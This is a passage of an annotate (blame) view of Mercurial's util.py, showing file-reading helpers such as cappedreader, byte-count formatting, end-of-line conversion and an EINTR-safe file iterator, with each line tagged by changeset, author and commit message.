changeset
|
2670 break |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2671 if limit: |
08a0f04b56bd
many, many trivial check-code fixups
Matt Mackall <mpm@selenic.com>
parents:
10264
diff
changeset
|
2672 limit -= len(s) |
1199
78ceaf83f28f
Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents:
1169
diff
changeset
|
2673 yield s |
1320
5f277e73778f
Fix up representation of dates in hgweb.
Bryan O'Sullivan <bos@serpentine.com>
parents:
1312
diff
changeset
|
2674 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2675 |
36362
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2676 class cappedreader(object): |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2677 """A file object proxy that allows reading up to N bytes. |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2678 |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2679 Given a source file object, instances of this type allow reading up to |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2680 N bytes from that source file object. Attempts to read past the allowed |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2681 limit are treated as EOF. |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2682 |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2683 It is assumed that I/O is not performed on the original file object |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2684 in addition to I/O that is performed by this instance. If there is, |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2685 state tracking will get out of sync and unexpected results will ensue. |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2686 """ |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2687 |
36362
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2688 def __init__(self, fh, limit): |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2689 """Allow reading up to <limit> bytes from <fh>.""" |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2690 self._fh = fh |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2691 self._left = limit |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2692 |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2693 def read(self, n=-1): |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2694 if not self._left: |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2695 return b'' |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2696 |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2697 if n < 0: |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2698 n = self._left |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2699 |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2700 data = self._fh.read(min(n, self._left)) |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2701 self._left -= len(data) |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2702 assert self._left >= 0 |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2703 |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2704 return data |
01e29e885600
util: add a file object proxy that can read at most N bytes
Gregory Szorc <gregory.szorc@gmail.com>
parents:
36266
diff
changeset
|
2705 |
37052
8c3c47362934
wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37044
diff
changeset
|
2706 def readinto(self, b): |
8c3c47362934
wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37044
diff
changeset
|
2707 res = self.read(len(b)) |
8c3c47362934
wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37044
diff
changeset
|
2708 if res is None: |
8c3c47362934
wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37044
diff
changeset
|
2709 return None |
8c3c47362934
wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37044
diff
changeset
|
2710 |
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Augie Fackler <augie@google.com>
parents:
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diff
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|
2711 b[0 : len(res)] = res |
37052
8c3c47362934
wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37044
diff
changeset
|
2712 return len(res) |
8c3c47362934
wireproto: implement basic frame reading and processing
Gregory Szorc <gregory.szorc@gmail.com>
parents:
37044
diff
changeset
|
2713 |
43076
2372284d9457
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Augie Fackler <augie@google.com>
parents:
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diff
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|
2714 |
18735
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
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diff
changeset
|
2715 def unitcountfn(*unittable): |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2716 '''return a function that renders a readable count of some quantity''' |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2717 |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2718 def go(count): |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2719 for multiplier, divisor, format in unittable: |
31946
f3b80537a70d
util: fix human-readable printing of negative byte counts
Gábor Stefanik <gabor.stefanik@nng.com>
parents:
31934
diff
changeset
|
2720 if abs(count) >= divisor * multiplier: |
18735
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2721 return format % (count / float(divisor)) |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
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|
2722 return unittable[-1][2] % count |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2723 |
716cad930691
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Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2724 return go |
716cad930691
util: generalize bytecount to unitcountfn
Bryan O'Sullivan <bryano@fb.com>
parents:
18678
diff
changeset
|
2725 |
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|
2726 |
31662
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2727 def processlinerange(fromline, toline): |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2728 """Check that linerange <fromline>:<toline> makes sense and return a |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2729 0-based range. |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2730 |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2731 >>> processlinerange(10, 20) |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2732 (9, 20) |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2733 >>> processlinerange(2, 1) |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2734 Traceback (most recent call last): |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2735 ... |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2736 ParseError: line range must be positive |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2737 >>> processlinerange(0, 5) |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2738 Traceback (most recent call last): |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2739 ... |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2740 ParseError: fromline must be strictly positive |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2741 """ |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2742 if toline - fromline < 0: |
43077
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Augie Fackler <augie@google.com>
parents:
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diff
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|
2743 raise error.ParseError(_(b"line range must be positive")) |
31662
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2744 if fromline < 1: |
43077
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Augie Fackler <augie@google.com>
parents:
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diff
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|
2745 raise error.ParseError(_(b"fromline must be strictly positive")) |
31662
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2746 return fromline - 1, toline |
080734cd2440
revset: factor out linerange processing into a utility function
Denis Laxalde <denis.laxalde@logilab.fr>
parents:
31598
diff
changeset
|
2747 |
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diff
changeset
|
2748 |
18735
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Bryan O'Sullivan <bryano@fb.com>
parents:
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diff
changeset
|
2749 bytecount = unitcountfn( |
43077
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Augie Fackler <augie@google.com>
parents:
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diff
changeset
|
2750 (100, 1 << 30, _(b'%.0f GB')), |
687b865b95ad
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parents:
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|
2751 (10, 1 << 30, _(b'%.1f GB')), |
687b865b95ad
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Augie Fackler <augie@google.com>
parents:
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diff
changeset
|
2752 (1, 1 << 30, _(b'%.2f GB')), |
687b865b95ad
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Augie Fackler <augie@google.com>
parents:
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diff
changeset
|
2753 (100, 1 << 20, _(b'%.0f MB')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
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diff
changeset
|
2754 (10, 1 << 20, _(b'%.1f MB')), |
687b865b95ad
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parents:
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diff
changeset
|
2755 (1, 1 << 20, _(b'%.2f MB')), |
687b865b95ad
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Augie Fackler <augie@google.com>
parents:
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diff
changeset
|
2756 (100, 1 << 10, _(b'%.0f KB')), |
687b865b95ad
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Augie Fackler <augie@google.com>
parents:
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diff
changeset
|
2757 (10, 1 << 10, _(b'%.1f KB')), |
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2758 (1, 1 << 10, _(b'%.2f KB')), |
687b865b95ad
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Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2759 (1, 1, _(b'%.0f bytes')), |
43076
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Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2760 ) |
2372284d9457
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Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2761 |
16397
f0f7f3fab315
util: create bytecount array just once
Matt Mackall <mpm@selenic.com>
parents:
16383
diff
changeset
|
2762 |
36837
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2763 class transformingwriter(object): |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2764 """Writable file wrapper to transform data by function""" |
472c68cda3f8
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Yuya Nishihara <yuya@tcha.org>
parents:
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|
2765 |
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Yuya Nishihara <yuya@tcha.org>
parents:
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diff
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|
2766 def __init__(self, fp, encode): |
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py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
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diff
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|
2767 self._fp = fp |
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py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
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diff
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|
2768 self._encode = encode |
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diff
changeset
|
2769 |
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Yuya Nishihara <yuya@tcha.org>
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diff
changeset
|
2770 def close(self): |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
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diff
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|
2771 self._fp.close() |
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Yuya Nishihara <yuya@tcha.org>
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|
2772 |
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diff
changeset
|
2773 def flush(self): |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
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diff
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|
2774 self._fp.flush() |
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Yuya Nishihara <yuya@tcha.org>
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|
2775 |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
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diff
changeset
|
2776 def write(self, data): |
472c68cda3f8
py3: wrap file object to write patch in native eol preserving byte-ness
Yuya Nishihara <yuya@tcha.org>
parents:
36835
diff
changeset
|
2777 return self._fp.write(self._encode(data)) |
472c68cda3f8
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parents:
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|
2778 |
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changeset
|
2779 |
31776
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2780 # Matches a single EOL which can either be a CRLF where repeated CR |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2781 # are removed or a LF. We do not care about old Macintosh files, so a |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2782 # stray CR is an error. |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2783 _eolre = remod.compile(br'\r*\n') |
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
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parents:
31720
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changeset
|
2784 |
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changeset
|
2785 |
31776
fe9b33bcec6a
util: extract pure tolf/tocrlf() functions from eol extension
Yuya Nishihara <yuya@tcha.org>
parents:
31720
diff
changeset
|
2786 def tolf(s): |
43077
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Augie Fackler <augie@google.com>
parents:
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diff
changeset
|
2787 return _eolre.sub(b'\n', s) |
31776
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changeset
|
2788 |
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changeset
|
2789 |
31776
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util: extract pure tolf/tocrlf() functions from eol extension
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parents:
31720
diff
changeset
|
2790 def tocrlf(s): |
43077
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parents:
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changeset
|
2791 return _eolre.sub(b'\r\n', s) |
31776
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changeset
|
2792 |
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|
2793 |
36837
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|
2794 def _crlfwriter(fp): |
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|
2795 return transformingwriter(fp, tocrlf) |
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|
2796 |
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changeset
|
2797 |
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changeset
|
2798 if pycompat.oslinesep == b'\r\n': |
31777
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Yuya Nishihara <yuya@tcha.org>
parents:
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diff
changeset
|
2799 tonativeeol = tocrlf |
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|
2800 fromnativeeol = tolf |
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|
2801 nativeeolwriter = _crlfwriter |
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|
2802 else: |
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|
2803 tonativeeol = pycompat.identity |
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|
2804 fromnativeeol = pycompat.identity |
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|
2805 nativeeolwriter = pycompat.identity |
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|
2806 |
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changeset
|
2807 if pyplatform.python_implementation() == b'CPython' and sys.version_info < ( |
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|
2808 3, |
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changeset
|
2809 0, |
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changeset
|
2810 ): |
30418
1156ec81f709
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30417
diff
changeset
|
2811 # There is an issue in CPython that some IO methods do not handle EINTR |
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Jun Wu <quark@fb.com>
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30417
diff
changeset
|
2812 # correctly. The following table shows what CPython version (and functions) |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2813 # are affected (buggy: has the EINTR bug, okay: otherwise): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2814 # |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
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diff
changeset
|
2815 # | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0 |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
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diff
changeset
|
2816 # -------------------------------------------------- |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
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30417
diff
changeset
|
2817 # fp.__iter__ | buggy | buggy | okay |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2818 # fp.read* | buggy | okay [1] | okay |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2819 # |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2820 # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2821 # |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2822 # Here we workaround the EINTR issue for fileobj.__iter__. Other methods |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2823 # like "read*" are ignored for now, as Python < 2.7.4 is a minority. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2824 # |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2825 # Although we can workaround the EINTR issue for fp.__iter__, it is slower: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2826 # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2827 # CPython 2, because CPython 2 maintains an internal readahead buffer for |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2828 # fp.__iter__ but not other fp.read* methods. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2829 # |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2830 # On modern systems like Linux, the "read" syscall cannot be interrupted |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2831 # when reading "fast" files like on-disk files. So the EINTR issue only |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2832 # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG) |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2833 # files approximately as "fast" files and use the fast (unsafe) code path, |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2834 # to minimize the performance impact. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2835 if sys.version_info >= (2, 7, 4): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2836 # fp.readline deals with EINTR correctly, use it as a workaround. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2837 def _safeiterfile(fp): |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2838 return iter(fp.readline, b'') |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2839 |
30418
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2840 else: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2841 # fp.read* are broken too, manually deal with EINTR in a stupid way. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2842 # note: this may block longer than necessary because of bufsize. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2843 def _safeiterfile(fp, bufsize=4096): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2844 fd = fp.fileno() |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2845 line = b'' |
30418
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2846 while True: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2847 try: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2848 buf = os.read(fd, bufsize) |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2849 except OSError as ex: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2850 # os.read only raises EINTR before any data is read |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2851 if ex.errno == errno.EINTR: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2852 continue |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2853 else: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2854 raise |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2855 line += buf |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2856 if b'\n' in buf: |
30418
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2857 splitted = line.splitlines(True) |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2858 line = b'' |
30418
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2859 for l in splitted: |
43077
687b865b95ad
formatting: byteify all mercurial/ and hgext/ string literals
Augie Fackler <augie@google.com>
parents:
43076
diff
changeset
|
2860 if l[-1] == b'\n': |
30418
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2861 yield l |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2862 else: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2863 line = l |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2864 if not buf: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2865 break |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2866 if line: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2867 yield line |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2868 |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2869 def iterfile(fp): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2870 fastpath = True |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2871 if type(fp) is file: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2872 fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode) |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2873 if fastpath: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2874 return fp |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2875 else: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2876 return _safeiterfile(fp) |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2877 |
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2878 |
30418
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2879 else: |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2880 # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed. |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2881 def iterfile(fp): |
1156ec81f709
util: improve iterfile so it chooses code path wisely
Jun Wu <quark@fb.com>
parents:
30417
diff
changeset
|
2882 return fp |
30395
10514a92860e
util: add iterfile to workaround a fileobj.__iter__ issue with EINTR
Jun Wu <quark@fb.com>
parents:
30359
diff
changeset
|
2883 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2884 |
7879
5c4026a289a4
templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents:
7875
diff
changeset
|
2885 def iterlines(iterator): |
5c4026a289a4
templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents:
7875
diff
changeset
|
2886 for chunk in iterator: |
5c4026a289a4
templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents:
7875
diff
changeset
|
2887 for line in chunk.splitlines(): |
5c4026a289a4
templater: ability to display diffstat for log-like commands
Alexander Solovyov <piranha at piranha.org.ua>
parents:
7875
diff
changeset
|
2888 yield line |
9610
d78fe60f6bda
make path expanding more consistent
Alexander Solovyov <piranha@piranha.org.ua>
parents:
9569
diff
changeset
|
2889 |
43076
2372284d9457
formatting: blacken the codebase
Augie Fackler <augie@google.com>
parents:
42766
diff
changeset
|
2890 |
9610
d78fe60f6bda
make path expanding more consistent
Alexander Solovyov <piranha@piranha.org.ua>
parents:
9569
diff
changeset
|
2891 def expandpath(path): |
d78fe60f6bda
make path expanding more consistent
Alexander Solovyov <piranha@piranha.org.ua>
parents:
9569
diff
changeset
|
2892 return os.path.expanduser(os.path.expandvars(path)) |
10239
8e4be44a676f
Find right hg command for detached process
Patrick Mezard <pmezard@gmail.com>
parents:
10199
diff
changeset
|
